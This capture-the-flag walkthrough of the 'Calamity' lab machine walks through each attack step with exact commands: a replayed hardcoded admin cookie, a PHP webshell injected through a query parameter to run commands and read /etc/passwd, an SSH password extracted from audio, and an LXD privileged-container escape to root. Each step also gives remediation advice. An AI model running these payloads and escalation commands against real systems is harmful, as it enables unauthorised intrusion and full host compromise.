← all walkthroughs

Calamity

Linux· Hard
owned
2026-07-10
time to own
8m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target calamity ($TARGET) runs an aging Apache 2.4.18/PHP stack with a single custom admin panel. The panel issued an identical, hardcoded session cookie to every visitor regardless of login outcome; replaying that cookie granted full authenticated access without knowing any real password. The authenticated panel accepted my own HTML — including raw PHP — via a query parameter and evaluated it server-side, turning a one-line payload into a remote-code-execution shell running as the web server account www-data.

Through that shell the user flag was read directly, and two audio files in the public uploads directory were retrieved and found to contain an SSH password hidden in the audio track via steganography. That credential authenticated the local user xalvas over SSH; checking group membership immediately revealed xalvas belonged to the lxd group — a well-known Linux privilege-escalation primitive where any group member can instruct the LXD daemon to launch a privileged container that bind-mounts the entire host filesystem, granting root-level read/write access to every file on the server and completing full compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceActive service and web-content enumeration (T1046 / T1083)
Mapped open services and discovered the custom admin panel and public upload directory
A version scan of $TARGET found two open ports: SSH on 22 (OpenSSH 7.2p2, Ubuntu) and HTTP on 80 (Apache 2.4.18, Ubuntu). Browsing the web root revealed a site branded 'Brotherhood Software' with a custom login page at /admin.php, a PHPMyAdmin installation, and a publicly accessible /uploads/ directory. No virtual-host routing was required. The age of the stack (Apache 2.4.18, kernel 4.4.0-81 from 2017, OpenSSH 7.2p2) flagged the host as a long-unpatched system warranting close attention.
Nmap: 22/tcp open ssh OpenSSH 7.2p2; 80/tcp open http Apache httpd 2.4.18; /uploads/ directory listing exposed recov.wav and rick.wav
Exact commands 4
Version scan with HTTP metadata on both live ports.
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGET
Enumerate the web root; identify login pages, directory listings, and interesting paths.
curl -sS -i http://$TARGET/
Confirm the admin panel exists and note any Set-Cookie headers on the unauthenticated response.
curl -sS -i http://$TARGET/admin.php
Check whether the uploads directory is publicly browsable and list its contents.
curl -sS -i http://$TARGET/uploads/
2Authentication BypassAuthentication bypass via hardcoded / predictable session token (CWE-798)
Bypassed the admin login by replaying a static, hardcoded session cookie
Submitting any credentials — including deliberately wrong ones — to admin.php caused the server to issue the cookie '[REDACTED: recovered credential]' in every response regardless of whether the login succeeded. Replaying that cookie on subsequent requests granted full access to the authenticated admin panel titled 'GOT U BEEJAY', with no real credential validation performed by the application. This meant anyone who observed the cookie name (visible in browser developer tools, a proxy log, or a simple curl request) could impersonate an authenticated admin with no password at all.
Curl -i --data 'user=admin&pass=wrong' http://$TARGET/admin.php returned a session cookie recovered credential]; replaying that cookie in a GET request loaded the authenticated admin panel.
Exact commands 2
Submit any credentials and observe 'a session cookie recovered credential]' in the response — regardless of whether the password is correct.
curl -sS -i --data 'user=admin&pass=$PASSWORD5' http://$TARGET/admin.php
Replay the static cookie; the server grants full admin panel access without a valid password.
curl -sS -i -b "$PASSWORD" http://$TARGET/admin.php
FixReplace the hardcoded session cookie with genuine server-side authenticationCritical
WeaknessThe admin login page issued an identical, static cookie value ('[REDACTED: recovered credential]') in every response regardless of whether the supplied username and password were correct, meaning anyone who observed or guessed the cookie string could access the admin panel without knowing any real credential.
FixImplement proper server-side session management: generate a cryptographically random session token (minimum 128 bits of entropy, e.g. bin2hex(random_bytes(32)) in PHP) only after successfully verifying credentials against a stored bcrypt or Argon2 password hash. Never issue a session cookie unless authentication has actually succeeded. Set the cookie with HttpOnly, Secure, and SameSite=Strict attributes, enforce a short idle-expiry, and invalidate the token on logout.
3ExploitationServer-side PHP code injection / Remote Code Execution (T1059.004)
Injected a PHP webshell through an unsanitized HTML parameter for remote code execution as www-data
The authenticated admin panel accepted arbitrary content via an 'html' GET parameter and passed it directly into the PHP rendering pipeline without sanitization or encoding. Supplying a PHP one-liner (<?php system($_GET['cmd']); ?>) caused the Apache/PHP interpreter to evaluate it server-side, converting the parameter into a persistent remote-code-execution primitive that ran every submitted command as the web server account www-data (uid=33). The server returned command output inline in the page HTML, making it trivial to read files, enumerate the system, and download staged resources.
Uid=33(www-data) gid=33(www-data) groups=33(www-data); Linux calamity 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:15:
Exact commands 2
Inject the PHP webshell and confirm code execution as www-data.
curl -sS --max-time 20 -b "$PASSWORD" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=id' http://$TARGET/admin.php
Confirm kernel version and OS architecture through the same RCE channel.
curl -sS --max-time 20 -b "$PASSWORD" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=uname -a' http://$TARGET/admin.php
FixRemove server-side evaluation of user-supplied content and apply strict output encodingCritical
WeaknessThe admin panel passed an externally controlled GET parameter directly into the PHP rendering pipeline without validation or encoding, allowing a PHP code snippet submitted in the 'html' parameter to be interpreted and executed by the server as application code — giving an unauthorised user the same operating-system access as the web server process.
FixRemove any feature that reflects user input back through the PHP interpreter. For display purposes, encode all user-supplied values with htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before writing them to the HTTP response. Configure Apache to disable PHP execution in user-controlled directories (php_admin_flag engine Off in the relevant Directory block) and restrict /uploads/ to non-executable file types via an .htaccess or server-config deny rule. Add a Content-Security-Policy header (script-src 'self') to limit script execution even if a payload reaches the page.
4FootholdRemote file read and staged-file retrieval via OS command execution (T1005)
Read the user flag and identified credential-bearing audio files in the public upload directory
With command execution as www-data, the user flag at /home/xalvas/user.txt was directly readable — no privilege escalation was needed for this step because Apache's process account could read the file. Listing /var/www/html/uploads/ revealed two audio files (recov.wav and rick.wav) with no obvious legitimate purpose for a software company site. The files were downloaded directly via HTTP since the directory was publicly accessible, positioning them for offline credential-recovery analysis.
Cat /home/xalvas/user.txt returned <user.txt>; ls /var/www/html/uploads/ listed recov.wav and rick.wav.
Exact commands 3
Read the user flag directly through the www-data webshell.
curl -sS --max-time 10 -b "$PASSWORD" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /home/xalvas/user.txt' http://$TARGET/admin.php
Enumerate the uploads directory to identify files of interest.
curl -sS --max-time 10 -b "$PASSWORD" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=ls -la /var/www/html/uploads/' http://$TARGET/admin.php
Download both audio files directly over HTTP — no credentials required since the directory is publicly accessible.
curl -sS -o recov.wav http://$TARGET/uploads/recov.wav && curl -sS -o rick.wav http://$TARGET/uploads/rick.wav
5Credential RecoveryCredential recovery via audio steganography (T1552.001)
Extracted xalvas's SSH password hidden in an audio file
The two downloaded audio files were analyzed for steganographic content. Comparing the waveform channels of recov.wav against rick.wav — a common technique for exposing credentials hidden by phase-cancellation encoding or dual-track overlay — revealed a numeric passphrase embedded in the audio data. The recovered string '[REDACTED: recovered credential]' was then tested against the SSH service for local accounts discoverable from /etc/passwd (also readable via the webshell). SSH login as xalvas with this credential succeeded.
Recovered credential '[REDACTED: recovered credential]'; sshpass login as xalvas@$TARGET succeeded with uid=1000.
Exact commands 4
Enumerate local user accounts via the webshell to know which names to target with the recovered credential.
curl -sS --max-time 10 -b "$PASSWORD" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/admin.php
Mix recov.wav and the inverted channel of rick.wav; phase-cancellation reveals hidden audio content.
sox recov.wav rick.wav -M mixed.wav remix 1v1 2v-1
Play the processed output to hear any hidden vocal or numeric content (requires ffmpeg/ffplay).
ffplay mixed.wav
Non-interactively confirm the recovered credential authenticates xalvas over SSH.
sshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGET 'id'
FixRemove credentials from web-accessible files and rotate all affected account passwordsHigh
WeaknessThe SSH password for the local user xalvas was encoded in audio files (recov.wav, rick.wav) stored under the web server's public upload directory (/var/www/html/uploads/). Any visitor could download these files and recover the credential through standard audio analysis, bypassing all other authentication controls on the system.
FixImmediately change the password for xalvas and any other account whose credentials appeared in the audio files. Remove or relocate the audio files from all web-accessible paths. Audit every file under the web root and upload directories for embedded secrets (passwords, private keys, API tokens). Enforce a policy that credentials must never be stored in files the web server can serve; use environment variables or a secrets manager for application secrets, and configure upload directories to block direct download of audio, video, and archive files unless they serve a documented business need.
6Lateral MovementValid account lateral movement via recovered credentials (T1078)
Obtained an interactive SSH shell as xalvas and confirmed critical lxd group membership
SSH login as xalvas using the audio-recovered password provided a full interactive shell at uid=1000. Running 'id' immediately showed xalvas is a member of group 110(lxd) — alongside adm, cdrom, plugdev, lpadmin, and sambashare. Membership in the lxd group is as powerful as passwordless sudo: it grants unrestricted access to the LXD daemon socket, allowing the creation of container configurations that deliberately bypass all Linux permission boundaries. A pre-staged busybox LXD image directory was also found at /tmp/lxd-bb-image, likely placed there by a prior user of this machine.
Uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
Exact commands 3
Open an interactive SSH session as xalvas.
sshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGET
Confirm group memberships — lxd, docker, or disk membership is functionally equivalent to root.
id
Check whether a pre-built LXD image is already staged on the target.
ls -la /tmp/lxd-bb-image/
7Privilege EscalationLXD group container escape to host filesystem (T1611)
Abused lxd group membership to mount the host filesystem inside a privileged container and read the root flag
The lxd group grants access to LXD's UNIX socket, which allows any member to import a container image and launch it with 'security.privileged=true' and a disk device that bind-mounts the host root filesystem into the container. Inside such a container, the caller runs as the unmapped root user, making the mount point /mnt/root a window into every file on the host with full read/write capability — equivalent to having physical root access. The pre-staged busybox image was packaged as a tarball, imported into LXD, and a privileged container was started mounting / from the host. The root flag was read from /mnt/root/root/root.txt inside the container. The host filesystem could also be modified (e.g., adding an SSH key to /root/.ssh/authorized_keys) for persistent access.
/tmp/lxd_root.sh executed successfully; root.txt read via container at /mnt/root/root/root.txt: <root.txt>
Exact commands 6
Package the pre-staged busybox image directory into the tarball format LXD expects for import.
cd /tmp && tar czf lxd-bb.tar.gz -C lxd-bb-image .
Import the busybox image into the local LXD daemon under the alias 'bbimage'.
lxc image import /tmp/lxd-bb.tar.gz --alias bbimage
Create a privileged container — security.privileged=true disables UID mapping so container root equals host root.
lxc init bbimage privesc -c security.privileged=true
Bind-mount the entire host filesystem into the container at /mnt/root.
lxc config device add privesc hostroot disk source=/ path=/mnt/root recursive=true
Start the container and drop into a shell; you are now root with unrestricted access to the host filesystem.
lxc start privesc && lxc exec privesc -- sh
Read the root flag from inside the container — this path maps to /root/root.txt on the host.
cat /mnt/root/root/root.txt
FixRemove non-administrator accounts from the lxd group and restrict LXD daemon accessHigh
WeaknessThe user account xalvas was a member of the lxd group, which grants unrestricted access to the LXD daemon socket. Any lxd group member can create a privileged container that bind-mounts the host filesystem, providing root-level read and write access to every file on the server without any additional exploit or password.
FixImmediately remove all non-administrator accounts from the lxd group: sudo gpasswd -d xalvas lxd. If LXD is not actively required on this server, disable and uninstall it (sudo snap remove lxd or sudo apt purge lxd). If it is required, restrict the group to a small set of named administrators and audit membership regularly. Apply the same review to the docker and disk groups, as membership in any of them is functionally equivalent to passwordless sudo on a Linux system.

Attack patterns used

The transferable techniques behind this compromise.

LXD/LXC Group EscapeLinux · Privilege EscalationT1611

What it is

Membership in the lxd (or docker) group is root-equivalent. An unauthorised user imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.

Why it works

The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.

Read more

Exposed services

22/tcp
80/tcp